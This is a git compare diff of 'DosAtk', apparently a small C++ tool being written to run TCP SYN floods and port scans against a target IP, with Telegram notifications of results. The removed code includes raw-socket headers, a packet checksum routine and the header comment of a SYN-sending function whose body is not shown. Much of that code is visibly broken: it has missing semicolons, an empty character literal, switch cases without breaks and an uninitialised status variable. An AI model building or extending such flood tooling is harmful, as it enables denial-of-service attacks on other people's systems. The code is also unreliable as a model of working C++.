Compare commits
No commits in common. "dev" and "dev" have entirely different histories.
|
|
@ -1,4 +1 @@
|
||||||
.vscode
|
.vscode
|
||||||
src/test.cpp
|
|
||||||
test
|
|
||||||
DosAtk
|
|
||||||
21
README.md
21
README.md
|
|
@ -1,27 +1,10 @@
|
||||||
# Как жить?
|
# Как жить?
|
||||||
|
|
||||||
Регаемся на данном сайте, форкаем либу, пушим в свой форк и создаём merge request.
|
|
||||||
|
|
||||||
```
|
```
|
||||||
git clone https://gitea.serafimdev.com/serafim/dos # Клонируем репозиторий (замените на свой форк!)
|
git clone https://gitea.serafimdev.com/serafim/dos # Клонируем репозиторий
|
||||||
git checkout -b my_dns # Создаём ветку для реализации модуля my_dns
|
git checkout -b my_dns # Создаём ветку для реализации модуля my_dns
|
||||||
git add * # Добавляем написанный код в комит
|
git add * # Добавляем написанный код в комит
|
||||||
git commit -m 'Написал код' # Комитим в локальную ветку
|
git commit -m 'Написал код' # Комитим в локальную ветку
|
||||||
git push origin my_dns # Пушим свою ветку в репозиторий
|
git push origin my_dns # Пушим свою ветку в репозиторий
|
||||||
# Теперь в интерфейсе https://gitea.serafimdev.com/serafim/dos создаём пул реквест и пишем мне в тг
|
# Теперь в интерфейсе https://gitea.serafimdev.com/serafim/dos создаём пул реквест и пишем мне в тг
|
||||||
```
|
```
|
||||||
|
|
||||||
# Компиляция
|
|
||||||
|
|
||||||
Для компиляции: `./build.sh`, либо ручками: `g++ DosAtk.cpp -lcurl`
|
|
||||||
Если ошибка отсутствия заголовочного файла "curl.h", то нужно установить: `sudo apt-get install libcurl4-openssl-dev`
|
|
||||||
|
|
||||||
# Запуск
|
|
||||||
|
|
||||||
Пример запуска:
|
|
||||||
|
|
||||||
```
|
|
||||||
sudo ./DosAtk -a flood -i 127.0.0.1 -p 800
|
|
||||||
```
|
|
||||||
Запускается только на Линухе!
|
|
||||||
|
|
||||||
2
build.sh
2
build.sh
|
|
@ -1,2 +1,2 @@
|
||||||
g++ src/DosAtk.cpp -o DosAtk -lcurl -lssl -lcrypto
|
g++ src/DosAtk.cpp -o DosAtk -lcurl
|
||||||
./DosAtk "$@"
|
./DosAtk "$@"
|
||||||
|
|
|
||||||
842
src/DosAtk.cpp
842
src/DosAtk.cpp
|
|
@ -1,85 +1,45 @@
|
||||||
/*
|
#include <iostream>
|
||||||
██████╗ ██████╗██╗ ██╗ ██╗██████╗
|
#include <stdlib.h>
|
||||||
██╔══██╗██╔════╝██║ ██║ ██║██╔══██╗
|
#include <string>
|
||||||
██║ ██║██║ ██║ ██║ ██║██████╔╝
|
#include <chrono>
|
||||||
██║ ██║██║ ██║ ██║ ██║██╔══██╗
|
#include <ctime>
|
||||||
██████╔╝╚██████╗███████╗ ███████╗██║██████╔╝
|
#include <iomanip>
|
||||||
╚═════╝ ╚═════╝╚══════╝ ╚══════╝╚═╝╚═════╝
|
#include <getopt.h>
|
||||||
*/
|
#include <cctype>
|
||||||
|
#include <curl/curl.h>
|
||||||
|
#include <iostream>
|
||||||
|
#include <string>
|
||||||
|
|
||||||
#include <cstring> // Работа со строками и памятью (memset, memcpy)
|
// ====== DCL ====== //
|
||||||
#include <unistd.h> // POSIX API (close, read, write)
|
|
||||||
#include <sys/socket.h> // Сокеты (socket, setsockopt, sendto)
|
|
||||||
#include <netinet/ip.h> // Структура IP-заголовка (struct iphdr)
|
|
||||||
#include <netinet/tcp.h> // Структура TCP-заголовка (struct tcphdr)
|
|
||||||
#include <arpa/inet.h> // Преобразование IP-адресов (inet_addr, inet_pton)
|
|
||||||
#include <net/if.h> // Определение констант сетевых интерфейсов (IFNAMSIZ)
|
|
||||||
#include <sys/ioctl.h> // Управление сокетами и интерфейсами (ioctl)
|
|
||||||
#include <fcntl.h> // Флаги файловых дескрипторов (fcntl)
|
|
||||||
|
|
||||||
/*
|
std::string attack_type;
|
||||||
██████╗ ██████╗██╗ ██╗ ██╗ █████╗ ██████╗ ███████╗
|
std::string domain;
|
||||||
██╔══██╗██╔════╝██║ ██║ ██║██╔══██╗██╔══██╗██╔════╝
|
std::string ip;
|
||||||
██║ ██║██║ ██║ ██║ ██║███████║██████╔╝███████╗
|
std::string port;
|
||||||
██║ ██║██║ ██║ ╚██╗ ██╔╝██╔══██║██╔══██╗╚════██║
|
std::string log_file;
|
||||||
██████╔╝╚██████╗███████╗ ╚████╔╝ ██║ ██║██║ ██║███████║
|
std::string telegram_id;
|
||||||
╚═════╝ ╚═════╝╚══════╝ ╚═══╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚══════
|
std::string telegram_token;
|
||||||
*/
|
int n_ok_requests;
|
||||||
|
int n_fail_requests;
|
||||||
|
std::chrono::system_clock::time_point start_timestamp;
|
||||||
|
std::string log_msg;
|
||||||
|
std::string fin_msg;
|
||||||
|
std::string msg;
|
||||||
|
|
||||||
int argc // Количество аргументов при вызове программы
|
int my_check_params(int argc, char **argv)
|
||||||
char **argv // Массив строк с агрументами
|
|
||||||
std::string attack_type; // Тип атаки: scan или syn
|
|
||||||
std::string domain; // Доменное Имя
|
|
||||||
std::string ip; // Ip жертвы
|
|
||||||
std::string port; // Порт для syn атаки
|
|
||||||
std::string log_file; // Путь к директории для логов
|
|
||||||
std::string telegram_id; // Telegram ID для уведомлений
|
|
||||||
std::string telegram_token; // Токен бота для уведомлений
|
|
||||||
int n_ok_requests; // Количество успешных запросов
|
|
||||||
int n_fail_requests; // Количество не успешных запросов
|
|
||||||
std::chrono::system_clock::time_point start_timestamp; // Начальное время работы
|
|
||||||
std::string log_msg; // Сообщение, которое будет записано в лог-файл
|
|
||||||
std::string fin_msg; // Сообщение, которое будет выведено в консоль пользователю
|
|
||||||
std::string msg; // Сообщение, которое будет отправлено в телеграм
|
|
||||||
int status; // Статус работы программы
|
|
||||||
|
|
||||||
/*
|
|
||||||
██████╗ ██████╗██╗ ██████╗ ██████╗ ██████╗ ██████╗███████╗██████╗ ██╗ ██╗██████╗ ███████╗███████╗
|
|
||||||
██╔══██╗██╔════╝██║ ██╔══██╗██╔══██╗██╔═══██╗██╔════╝██╔════╝██╔══██╗██║ ██║██╔══██╗██╔════╝██╔════╝
|
|
||||||
██║ ██║██║ ██║ ██████╔╝██████╔╝██║ ██║██║ █████╗ ██║ ██║██║ ██║██████╔╝█████╗ ███████╗
|
|
||||||
██║ ██║██║ ██║ ██╔═══╝ ██╔══██╗██║ ██║██║ ██╔══╝ ██║ ██║██║ ██║██╔══██╗██╔══╝ ╚════██║
|
|
||||||
██████╔╝╚██████╗███████╗ ██║ ██║ ██║╚██████╔╝╚██████╗███████╗██████╔╝╚██████╔╝██║ ██║███████╗███████║
|
|
||||||
╚═════╝ ╚═════╝╚══════╝ ╚═╝ ╚═╝ ╚═╝ ╚═════╝ ╚═════╝╚══════╝╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚══════╝
|
|
||||||
*/
|
|
||||||
|
|
||||||
int my_check_params()
|
|
||||||
{
|
{
|
||||||
// Данная процедура записывает в глобальные переменные параметры
|
std::string debug_msg;
|
||||||
// (attack_type, domain, ip, port, log_file, telegram_id, telegram_token) проводимой атаки, поступившие при вызове программы
|
debug_msg = "";
|
||||||
// На вход получает int argc, char **argv, возвращает код выполнения
|
for (int i = 0; i < argc; i++) {
|
||||||
// Коды возврата:
|
debug_msg += argv[i];
|
||||||
// 2 - Атака флуд, все нужные опции есть
|
debug_msg += " ";
|
||||||
// 1 - Атака порт скан, все нужные опции есть
|
}
|
||||||
// 0 - нужна помощь
|
printf("begin my_check_params (argc: %i, argv: %s)\n", argc, debug_msg.c_str());
|
||||||
// -1 - пользователь не ввел тип атаки или ввел неверный тип атаки
|
|
||||||
// -10 - Пользователь выбрал тип атаки порт сканнинг, но не ввел нужные параметры
|
|
||||||
// -20 - Пользователь выбрал тип атаки флуд, но не ввел нужные параметры
|
|
||||||
// -101 - неизвестная опция или потерян аргумент, следует предложить вызвать флаг помощи
|
|
||||||
// -600 - пользователь ввел токен, но не id или наоборот
|
|
||||||
|
|
||||||
//Объявление
|
int status;
|
||||||
std::chrono::milliseconds ms; // Количество миллисекунд от целой секунды времени начала выполнения программы
|
int opt;
|
||||||
int opt; // Прочитанный параметр
|
const char* short_options = "a:d:i:p:l:t:b:h";
|
||||||
const char* short_options; // Сокращения для параметров
|
const struct option long_options[] = {
|
||||||
struct option long_options[]; // Структура, описывающая пеобходимые программе параметры
|
|
||||||
int i; // Счётчик для цикла
|
|
||||||
|
|
||||||
// Инициализация
|
|
||||||
ms = std::chrono::duration_cast<std::chrono::milliseconds>(start_timestamp.time_since_epoch()) % 1000;
|
|
||||||
opt = -1;
|
|
||||||
short_options = "a:d:i:p:l:t:b:h";
|
|
||||||
long_options =
|
|
||||||
{
|
|
||||||
{"attack", required_argument, NULL, 'a'},
|
{"attack", required_argument, NULL, 'a'},
|
||||||
{"domain", required_argument, NULL, 'd'},
|
{"domain", required_argument, NULL, 'd'},
|
||||||
{"ip", required_argument, NULL, 'i'},
|
{"ip", required_argument, NULL, 'i'},
|
||||||
|
|
@ -90,90 +50,71 @@ int my_check_params()
|
||||||
{"help", no_argument, NULL, 'h'},
|
{"help", no_argument, NULL, 'h'},
|
||||||
{NULL, 0, NULL, 0}
|
{NULL, 0, NULL, 0}
|
||||||
};
|
};
|
||||||
i = 0;
|
|
||||||
|
|
||||||
printf("begin my_check_params"); // debug
|
|
||||||
|
|
||||||
// Выводим информацию о времени запуска программы
|
|
||||||
printf("Starting DosAtk at %04d-%02d-%02d %02d:%02d:%02d.%03ld\n", // Шаблон для вывода
|
|
||||||
std::localtime(&now_time_t)->tm_year + 1900, // Год (с 1900)
|
|
||||||
std::localtime(&now_time_t)->tm_mon + 1, // Месяц (0-11)
|
|
||||||
std::localtime(&now_time_t)->tm_mday, // День месяца
|
|
||||||
std::localtime(&now_time_t)->tm_hour, // Часы
|
|
||||||
std::localtime(&now_time_t)->tm_min, // Минуты
|
|
||||||
std::localtime(&now_time_t)->tm_sec, // Секунды
|
|
||||||
ms.count()); // Миллисекунды
|
|
||||||
|
|
||||||
// Обрабатываем аргументы командной строки с помощью getopt_long
|
|
||||||
// Цикл продолжается, пока getopt_long возвращает валидные опции (-1 означает конец опций)
|
|
||||||
while ((opt = getopt_long(argc, argv, short_options, long_options, NULL)) != -1) {
|
while ((opt = getopt_long(argc, argv, short_options, long_options, NULL)) != -1) {
|
||||||
switch (opt) {
|
switch (opt) {
|
||||||
case 'a': // Обработка опции -a (--attack)
|
case 'a':
|
||||||
attack_type = optarg; // Сохраняем тип атаки (scan/flood)
|
attack_type = optarg;
|
||||||
break;
|
break;
|
||||||
case 'd': // Обработка опции -d (--domain)
|
case 'd':
|
||||||
domain = optarg; // Сохраняем доменное имя цели
|
domain = optarg;
|
||||||
break;
|
break;
|
||||||
case 'i': // Обработка опции -i (--ip)
|
case 'i':
|
||||||
ip = optarg; // Сохраняем IP-адрес цели
|
ip = optarg;
|
||||||
break;
|
break;
|
||||||
case 'p': // Обработка опции -p (--port)
|
case 'p':
|
||||||
port = optarg; // Сохраняем номер порта
|
port = optarg;
|
||||||
break;
|
break;
|
||||||
case 'l': // Обработка опции -l (--log)
|
case 'l':
|
||||||
log_file = optarg; // Сохраняем путь к лог-файлу
|
log_file = optarg;
|
||||||
break;
|
break;
|
||||||
case 't': // Обработка опции -t (--telegram)
|
case 't':
|
||||||
telegram_id = optarg; // Сохраняем Telegram ID
|
telegram_id = optarg;
|
||||||
break;
|
break;
|
||||||
case 'b': // Обработка опции -b (--token)
|
case 'b':
|
||||||
telegram_token = optarg; // Сохраняем токен бота Telegram
|
telegram_token = optarg;
|
||||||
break;
|
break;
|
||||||
case 'h': // Обработка опции -h (--help)
|
case 'h':
|
||||||
return 0; // Устанавливаем статус "показать справку"
|
status = 0;
|
||||||
break;
|
break;
|
||||||
case '?': // Обработка неизвестной опции
|
case '?':
|
||||||
return -101; // Устанавливаем статус "неизвестная опция"
|
status = -101;
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
if (status != 0 && status != -101) // Проверяем корректность введенных параметров
|
if (status != 0 && status != -101)
|
||||||
{
|
{
|
||||||
if (attack_type != "flood" && attack_type != "scan") { // Проверяем валидность типа атаки
|
if (attack_type != "flood" && attack_type != "scan") {
|
||||||
return -1; // Некорректный тип атаки
|
status = -1;
|
||||||
}
|
}
|
||||||
else if (attack_type == "scan" && domain.empty() && ip.empty()) { // Для port scanning нужен домен или IP
|
else if (attack_type == "scan" && domain.empty() && ip.empty()) {
|
||||||
return -10; // Не указана цель для сканирования
|
status = -10;
|
||||||
}
|
}
|
||||||
else if (attack_type == "flood" && domain.empty() && ip.empty()) { // Для флуд-атаки нужен домен или IP
|
else if (attack_type == "flood" && domain.empty() && ip.empty()) {
|
||||||
return -20; // Не указана цель для флуда
|
status = -20;
|
||||||
}
|
}
|
||||||
else if ((!telegram_id.empty() && telegram_token.empty()) || // Если указан telegram token то нужен и id
|
else if ((!telegram_id.empty() && telegram_token.empty()) || (telegram_id.empty() && !telegram_token.empty())) {
|
||||||
(telegram_id.empty() && !telegram_token.empty())) { // Если указан telegram id то нужен и token
|
status = -600;
|
||||||
return -600; // Неполные данные для Telegram
|
|
||||||
}
|
}
|
||||||
else if (attack_type == "scan") { // Если все проверки пройдены и тип атаки - сканирование
|
else if (attack_type == "scan") {
|
||||||
return 1; // Валидные параметры для сканирования
|
status = 1;
|
||||||
}
|
}
|
||||||
|
else if (attack_type == "flood") {
|
||||||
else if (attack_type == "flood") { // Если все проверки пройдены и тип атаки - флуд
|
status = 2;
|
||||||
return 2; // Валидные параметры для флуда
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
printf("end my_check_params status: %i\n", status); // debug
|
printf("end my_check_params status: %i\n", status);
|
||||||
|
return status;
|
||||||
}
|
}
|
||||||
|
|
||||||
void my_diag()
|
void my_diag(int status)
|
||||||
{
|
{
|
||||||
// Данная функция вызывается в случае ошибки на каком-то этапе и на основании поступившего кода,
|
printf("begin my_diag (status: %i)\n", status);
|
||||||
// формирует сообщение с описанием произошедшей ошибки
|
switch (status)
|
||||||
printf("begin my_diag, status: %i\n", status); // debug
|
|
||||||
|
|
||||||
switch (status) // Выбор сообщения в зависимости от кода ошибки
|
|
||||||
{
|
{
|
||||||
case 0: // Специальный случай - вывод справки по использованию
|
case 0:
|
||||||
printf("Usage: ./DosAtk [options]\n"
|
printf("Usage: ./DosAtk [options]\n"
|
||||||
"Required:\n"
|
"Required:\n"
|
||||||
" -a, --attack TYPE Type of attack (scan|flood)\n"
|
" -a, --attack TYPE Type of attack (scan|flood)\n"
|
||||||
|
|
@ -185,620 +126,203 @@ void my_diag()
|
||||||
" -t, --telegram ID Telegram ID\n"
|
" -t, --telegram ID Telegram ID\n"
|
||||||
" -b, --token TOKEN Telegram bot token\n");
|
" -b, --token TOKEN Telegram bot token\n");
|
||||||
break;
|
break;
|
||||||
case -1: // Некорректный тип атаки
|
case -1:
|
||||||
printf("Error: Invalid attack type!\n--help for more info\n");
|
printf("Error: Invalid attack type!\n--help for more info\n");
|
||||||
break;
|
break;
|
||||||
case -10: // Отсутствуют обязательные параметры для сканирования портов
|
case -10:
|
||||||
printf("Error: Missing required parameters for port scanning!\n--help for more info\n");
|
printf("Error: Missing required parameters for port scanning!\n--help for more info\n");
|
||||||
break;
|
break;
|
||||||
case -20: // Отсутствуют обязательные параметры для SYN flood атаки
|
case -20:
|
||||||
printf("Error: Missing required parameters for tcp syn dos attack!\n--help for more info\n");
|
printf("Error: Missing required parameters for tcp syn dos attack!\n--help for more info\n");
|
||||||
break;
|
break;
|
||||||
case -101: // Встречена неизвестная опция командной строки
|
case -101:
|
||||||
printf("Error: Unknown option!\n.--help for info\n");
|
printf("Error: Unknown option!\n.--help for info\n");
|
||||||
break;
|
break;
|
||||||
case -600: // Неполные данные для Telegram-уведомлений
|
case -600:
|
||||||
printf("Error: To use telegram integration both telegram_id and telegram_token have to be provided!\n.--help for info\n");
|
printf("Error: To use telegram integration both telegram_id and telegram_token have to be provided!\n.--help for info\n");
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
|
printf("end my_diag\n");
|
||||||
printf("end my_diag\n"); // debug
|
|
||||||
}
|
|
||||||
|
|
||||||
// Функция для экранирования специальных символов в строке перед использованием в JSON
|
|
||||||
// Принимает: const std::string& s - исходная строка для обработки
|
|
||||||
// Возвращает: std::string - строка с экранированными спецсимволами
|
|
||||||
std::string escape_json(const std::string& s)
|
|
||||||
{
|
|
||||||
// Возвращаем строку с экранированными символами
|
|
||||||
|
|
||||||
// ===== Объявления =====
|
|
||||||
std::string result; // Результирующая строка с экранированными символами
|
|
||||||
char c; // Символ в строке
|
|
||||||
|
|
||||||
// ===== Инициализация =====
|
|
||||||
result = "";
|
|
||||||
c = '';
|
|
||||||
|
|
||||||
// Проходим по каждому символу входной строки
|
|
||||||
for (c : s) {
|
|
||||||
// Обрабатываем специальные символы JSON
|
|
||||||
switch (c) {
|
|
||||||
case '"': result += "\\\""; break; // Экранирование двойных кавычек
|
|
||||||
case '\\': result += "\\\\"; break; // Экранирование обратного слеша
|
|
||||||
case '\b': result += "\\b"; break; // Экранирование backspace
|
|
||||||
case '\f': result += "\\f"; break; // Экранирование formfeed
|
|
||||||
case '\n': result += "\\n"; break; // Экранирование новой строки
|
|
||||||
case '\r': result += "\\r"; break; // Экранирование возврата каретки
|
|
||||||
case '\t': result += "\\t"; break; // Экранирование табуляции
|
|
||||||
default: result += c; break; // Все остальные символы добавляем как есть
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
return result; // Возвращаем обработанную строку
|
|
||||||
}
|
|
||||||
|
|
||||||
bool is_numeric(const std::string& s)
|
|
||||||
{
|
|
||||||
// Проверка, является ли строка числом (включая отрицательные)
|
|
||||||
|
|
||||||
// ===== Объявления =====
|
|
||||||
size_t start; // Индекс, с которого начинать проверку цифр
|
|
||||||
size_t i;
|
|
||||||
|
|
||||||
// ===== Инициализация =====
|
|
||||||
start = 0;
|
|
||||||
i = 0;
|
|
||||||
|
|
||||||
if (s.empty()) return false; // Пустая строка не может быть числом
|
|
||||||
|
|
||||||
// Проверяем наличие знака минус в начале
|
|
||||||
if (s[0] == '-') {
|
|
||||||
// Строка из одного минуса не является числом
|
|
||||||
if (s.size() == 1) return false;
|
|
||||||
// Если минус есть, начинаем проверку с следующего символа
|
|
||||||
start = 1;
|
|
||||||
}
|
|
||||||
// Проверяем все оставшиеся символы на цифры
|
|
||||||
for (i = start; i < s.size(); ++i) {
|
|
||||||
// Найден нецифровой символ - строка не число
|
|
||||||
if (!isdigit(s[i])) return false;
|
|
||||||
}
|
|
||||||
|
|
||||||
// Все проверки пройдены - строка является числом
|
|
||||||
return true;
|
|
||||||
}
|
}
|
||||||
|
|
||||||
void my_msg()
|
void my_msg()
|
||||||
{
|
{
|
||||||
printf("begin my_msg"); // debug
|
printf("begin my_msg()\n");
|
||||||
|
printf("%s\n", msg.c_str());
|
||||||
// Объявление
|
printf("end my_msg");
|
||||||
struct curl_slist* headers; // Заголовки HTTP-запроса
|
|
||||||
CURL* curl; // Указатель на CURL-объект
|
|
||||||
std::string escaped_msg; // Экранированное сообщение для JSON
|
|
||||||
std::string chat_id_field; // Поле chat_id для JSON
|
|
||||||
std::string json_data; // Итоговый JSON для отправки
|
|
||||||
long http_code; // HTTP-код ответа
|
|
||||||
CURLcode res; // Код результата CURL-операции
|
|
||||||
|
|
||||||
// Инициализация
|
|
||||||
headers = curl_slist_append(nullptr, "Content-Type: application/json"); // Установка заголовка Content-Type
|
|
||||||
curl = curl_easy_init(); // Инициализация CURL
|
|
||||||
escaped_msg = escape_json(msg); // Экранирование спецсимволов в сообщении для JSON
|
|
||||||
chat_id_field = is_numeric(telegram_id) ? "\"chat_id\": " + telegram_id : "\"chat_id\": \"" + telegram_id + "\"";
|
|
||||||
json_data = "{" + chat_id_field + ", \"text\": \"" + escaped_msg + "\"}"; // Сборка JSON-запроса
|
|
||||||
http_code = 0;
|
|
||||||
res = nullptr;
|
|
||||||
|
|
||||||
// Проверка наличия обязательных параметров Telegram
|
|
||||||
if (telegram_token.empty() || telegram_id.empty())
|
|
||||||
{
|
|
||||||
status = 0; // Интеграция с Telegram не настроена (отсутствует токен или ID)
|
|
||||||
}
|
|
||||||
|
|
||||||
if (!curl)
|
|
||||||
{
|
|
||||||
status = 6; // Ошибка инициализации CURL
|
|
||||||
}
|
|
||||||
|
|
||||||
// Настройка параметров CURL-запроса
|
|
||||||
curl_easy_setopt(curl, CURLOPT_URL, ("https://api.telegram.org/bot" + telegram_token + "/sendMessage").c_str()); // URL API Telegram
|
|
||||||
curl_easy_setopt(curl, CURLOPT_POST, 1L); // Использовать POST-метод
|
|
||||||
curl_easy_setopt(curl, CURLOPT_POSTFIELDS, json_data.c_str()); // Тело запроса (JSON)
|
|
||||||
curl_easy_setopt(curl, CURLOPT_HTTPHEADER, headers); // Заголовки запроса
|
|
||||||
curl_easy_setopt(curl, CURLOPT_USERAGENT, "libcurl/7.68.0"); // User-Agent
|
|
||||||
|
|
||||||
// Игнорирование вывода ответа (пустая функция обратного вызова)
|
|
||||||
curl_easy_setopt(
|
|
||||||
curl, CURLOPT_WRITEFUNCTION,
|
|
||||||
[](void*, size_t size, size_t nmemb, void*) -> size_t {
|
|
||||||
return size * nmemb;
|
|
||||||
}
|
|
||||||
);
|
|
||||||
|
|
||||||
// Выполнение HTTP-запроса
|
|
||||||
res = curl_easy_perform(curl);
|
|
||||||
|
|
||||||
// Получение HTTP-кода ответа
|
|
||||||
curl_easy_getinfo(curl, CURLINFO_RESPONSE_CODE, &http_code);
|
|
||||||
|
|
||||||
// Освобождение ресурсов
|
|
||||||
curl_slist_free_all(headers); // Очистка заголовков
|
|
||||||
curl_easy_cleanup(curl); // Завершение работы CURL
|
|
||||||
|
|
||||||
// Обработка ошибок CURL
|
|
||||||
if (res != CURLE_OK)
|
|
||||||
{
|
|
||||||
status = 5; // Ошибка выполнения запроса
|
|
||||||
}
|
|
||||||
|
|
||||||
// Обработка HTTP-кодов ответа
|
|
||||||
switch (http_code)
|
|
||||||
{
|
|
||||||
case 200:
|
|
||||||
status = 0; // Успешный запрос
|
|
||||||
case 401:
|
|
||||||
status = 1; // Ошибка авторизации (неверный токен)
|
|
||||||
case 400:
|
|
||||||
status = 2; // Неверный запрос
|
|
||||||
case 404:
|
|
||||||
status = 3; // Ресурс не найден
|
|
||||||
case 500:
|
|
||||||
status = 4; // Ошибка сервера
|
|
||||||
}
|
|
||||||
|
|
||||||
printf("end my_msg"); // debug
|
|
||||||
}
|
}
|
||||||
|
|
||||||
int my_log()
|
int my_log()
|
||||||
{
|
{
|
||||||
// Данная функция записывает в файл лога сообщение
|
|
||||||
printf("start my_log"); // debug
|
|
||||||
printf("end my_log"); // debug
|
|
||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
|
|
||||||
void my_fin()
|
void my_fin()
|
||||||
{
|
{
|
||||||
// Данная процедура завершает программу и рассчитывает итоговое время выполнения программы
|
auto end_timestamp = std::chrono::system_clock::now();
|
||||||
|
auto end_time_t = std::chrono::system_clock::to_time_t(end_timestamp);
|
||||||
// Объявления
|
auto end_ms = std::chrono::duration_cast<std::chrono::milliseconds>(end_timestamp.time_since_epoch()) % 1000;
|
||||||
time_t end_time_t; // Время завершения выполненя программы
|
|
||||||
std::chrono::duration duration; // Длительность выполнения программы
|
|
||||||
std::chrono::hours hours; // Компонента часов времени завершения
|
|
||||||
std::chrono::minutes minutes; // Компонента минут времени завершения
|
|
||||||
std::chrono::seconds seconds; // Компонента секунд времени завершения
|
|
||||||
std::chrono::milliseconds milliseconds; // Компонента миллисекунд времени завершения
|
|
||||||
|
|
||||||
// Иницаализация
|
auto duration = end_timestamp - start_timestamp;
|
||||||
end_time_t = std::chrono::system_clock::to_time_t(std::chrono::system_clock::now());
|
auto hours = std::chrono::duration_cast<std::chrono::hours>(duration);
|
||||||
duration = end_timestamp - start_timestamp; // Вычисляем продолжительность работы программы
|
auto minutes = std::chrono::duration_cast<std::chrono::minutes>(duration % std::chrono::hours(1));
|
||||||
hours = std::chrono::duration_cast<std::chrono::hours>(duration); // Разбиваем продолжительность на компоненты
|
auto seconds = std::chrono::duration_cast<std::chrono::seconds>(duration % std::chrono::minutes(1));
|
||||||
minutes = std::chrono::duration_cast<std::chrono::minutes>(duration % std::chrono::hours(1)); // Разбиваем продолжительность на компоненты
|
auto milliseconds = std::chrono::duration_cast<std::chrono::milliseconds>(duration % std::chrono::seconds(1));
|
||||||
seconds = std::chrono::duration_cast<std::chrono::seconds>(duration % std::chrono::minutes(1)); // Разбиваем продолжительность на компоненты
|
|
||||||
milliseconds = std::chrono::duration_cast<std::chrono::milliseconds>(duration % std::chrono::seconds(1)); // Разбиваем продолжительность на компоненты
|
|
||||||
double total_seconds
|
|
||||||
|
|
||||||
printf("begin my_diag\n"); // debug
|
std::cout << "Worked for ";
|
||||||
|
if (duration < std::chrono::minutes(2)) {
|
||||||
std::cout << "Worked for "; // Выводим информацию о времени работы
|
double total_seconds = std::chrono::duration<double>(duration).count();
|
||||||
// Для коротких периодов (<2 минут) выводим в секундах с дробной частью
|
|
||||||
if (duration < std::chrono::minutes(2))
|
|
||||||
{
|
|
||||||
total_seconds = std::chrono::duration<double>(duration).count();
|
|
||||||
std::cout << std::fixed << std::setprecision(3) << total_seconds << " seconds";
|
std::cout << std::fixed << std::setprecision(3) << total_seconds << " seconds";
|
||||||
|
} else {
|
||||||
|
if (hours.count() > 0) std::cout << hours.count() << "h ";
|
||||||
|
if (minutes.count() > 0) std::cout << minutes.count() << "m ";
|
||||||
|
std::cout << seconds.count() << "s " << milliseconds.count() << "ms";
|
||||||
}
|
}
|
||||||
else
|
std::cout << std::endl;
|
||||||
{
|
|
||||||
// Для длительных периодов выводим в формате ЧЧ:ММ:СС.мс
|
|
||||||
if (hours.count() > 0) // Если программа работала хотя бы один час
|
|
||||||
{
|
|
||||||
std::cout << hours.count() << "h "; // Выводим часы
|
|
||||||
}
|
|
||||||
if (minutes.count() > 0) // Если программа работала хотя бы одину минуту
|
|
||||||
{
|
|
||||||
std::cout << minutes.count() << "m "; // Вывовим минуты
|
|
||||||
}
|
|
||||||
std::cout << seconds.count() << "s " << milliseconds.count() << "ms"; // Выводим секунды и миллисекунды
|
|
||||||
}
|
|
||||||
std::cout << std::endl; // После осуществления вывода переходим на новую строку
|
|
||||||
|
|
||||||
// Выводим статистику по запросам
|
|
||||||
std::cout << "Sent " << (n_ok_requests + n_fail_requests) << " requests ("
|
std::cout << "Sent " << (n_ok_requests + n_fail_requests) << " requests ("
|
||||||
<< n_ok_requests << " ok, " << n_fail_requests << " failed)" << std::endl;
|
<< n_ok_requests << " ok, " << n_fail_requests << " failed)" << std::endl;
|
||||||
|
|
||||||
// Выводим точное время завершения работы
|
|
||||||
std::cout << "DosAtk stopped at " << std::put_time(std::localtime(&end_time_t), "%Y-%m-%d %H:%M:%S")
|
std::cout << "DosAtk stopped at " << std::put_time(std::localtime(&end_time_t), "%Y-%m-%d %H:%M:%S")
|
||||||
<< "." << std::setfill('0') << std::setw(3) << milliseconds.count() << std::endl;
|
<< "." << std::setfill('0') << std::setw(3) << end_ms.count() << std::endl;
|
||||||
|
|
||||||
// Завершаем программу с кодом состояния
|
std::exit(0);
|
||||||
std::exit(status);
|
|
||||||
}
|
}
|
||||||
|
|
||||||
int my_dns()
|
int my_dns()
|
||||||
{
|
{
|
||||||
// Данная процедура сопостовляет доменное имя с IP
|
|
||||||
printf("start my_dns"); // debug
|
|
||||||
printf("end my_dns"); // debug
|
|
||||||
}
|
|
||||||
|
|
||||||
unsigned short checksum(void *data, int len)
|
|
||||||
{
|
|
||||||
/**
|
|
||||||
* Рассчитывает контрольную сумму для пакета (алгоритм RFC 1071)
|
|
||||||
*
|
|
||||||
* Параметры:
|
|
||||||
* data - указатель на данные пакета
|
|
||||||
* len - длина данных в байтах
|
|
||||||
*
|
|
||||||
* Возвращает:
|
|
||||||
* 16-битную инвертированную контрольную сумму
|
|
||||||
*/
|
|
||||||
// === Объявление локальных переменных ===
|
|
||||||
uint16_t *ptr; // Указатель для чтения 16-битных слов
|
|
||||||
unsigned long sum; // Аккумулятор для суммы
|
|
||||||
uint8_t *byte_ptr; // Указатель для чтения одиночного байта
|
|
||||||
// === Инициализация переменных ===
|
|
||||||
ptr = (uint16_t *)data; // Инициализируем указатель на данные
|
|
||||||
sum = 0; // Начальное значение суммы
|
|
||||||
// === Основная логика процедуры ===
|
|
||||||
// Суммируем 16-битные слова
|
|
||||||
while (len > 1) {
|
|
||||||
sum += *ptr++; // Добавляем текущее слово и перемещаем указатель
|
|
||||||
len -= 2; // Уменьшаем счетчик оставшихся байт
|
|
||||||
}
|
|
||||||
if (len == 1) { // Если остался непарный байт, добавляем его в сумму
|
|
||||||
byte_ptr = (uint8_t *)ptr;
|
|
||||||
sum += *byte_ptr;
|
|
||||||
}
|
|
||||||
sum = (sum >> 16) + (sum & 0xFFFF); // Сворачиваем 32-битную сумму в 16 бит (перенос + остаток)
|
|
||||||
return (unsigned short)(~sum); // Возвращаем инвертированную 16-битную сумму
|
|
||||||
}
|
|
||||||
|
|
||||||
|
|
||||||
int my_tcp_syn()
|
|
||||||
{
|
|
||||||
/*
|
|
||||||
* Отправляет TCP SYN запрос на указанный IP и порт
|
|
||||||
* status:
|
|
||||||
* 0 - запрос успешно отправлен (атака продолжается)
|
|
||||||
* 2 - достигнуто максимальное количество запросов (1000)
|
|
||||||
* -201 - ошибка создания raw-сокета
|
|
||||||
* -202 - ошибка отправки SYN-пакета
|
|
||||||
*/
|
|
||||||
